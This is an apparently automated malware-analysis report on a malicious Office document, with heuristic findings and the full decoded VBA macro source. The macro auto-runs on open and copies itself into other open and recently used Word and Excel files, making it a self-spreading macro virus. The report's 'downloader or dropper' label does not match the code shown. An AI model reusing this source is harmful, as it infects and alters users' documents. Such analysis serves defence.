MALICIOUS
220
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains VBA macros with Document_Open and Workbook_Open auto-executing functions. The 'Cross_Lys' function attempts to inject its code into other open documents or recent files and save them, indicating a downloader or dropper functionality. The use of CreateObject and GetObject further supports the execution of arbitrary code.
Heuristics 6
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
-
Workbook_Open macro high OLE_VBA_WBOPENWorkbook_Open macro
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject call
-
GetObject call high OLE_VBA_GETOBJGetObject call
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1736 bytes |
SHA-256: c1ba955dba6684dd824cfcb6e7b92837f4480eadbfed2505ab4c237f0d34edb8 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "ThisDocument1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Workbook_Open()
Cross_Lys Workbooks, ThisWorkbook, "Word.Application"
End Sub
Private Sub Document_Open()
Cross_Lys Documents, ThisDocument, "Excel.Application"
End Sub
Private Function Cross_Lys(Target As Object, Host As Object, Cross As String)
On Error Resume Next
MyCode = Host.VBProject.VBComponents(1).CodeModule.Lines(1, Host.VBProject.VBComponents(1).CodeModule.CountOfLines)
For X = 1 To Target.Count
With Target(X).VBProject.VBComponents(1).CodeModule
.DeleteLines 1, .CountOfLines
.AddFromString MyCode
Target(X).SaveAs FileName:=Documents(X).FullName
End With
Next
Set CrossApp = GetObject(, Cross)
If CrossApp = "" Then
Set CrossApp = CreateObject(Cross)
CrossQuit = True
End If
If CrossApp.Application.RecentFiles.Count >= 1 Then
For X = 1 To CrossApp.Application.RecentFiles.Count
With CrossApp.Application.RecentFiles(X).Open
.VBProject.VBComponents(1).CodeModule.DeleteLines 1, .VBProject.VBComponents(1).CodeModule.CountOfLines
.VBProject.VBComponents(1).CodeModule.AddFromString MyCode
.SaveAs FileName:=.FullName
End With
Next
If CrossQuit = True Then CrossApp.Quit
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.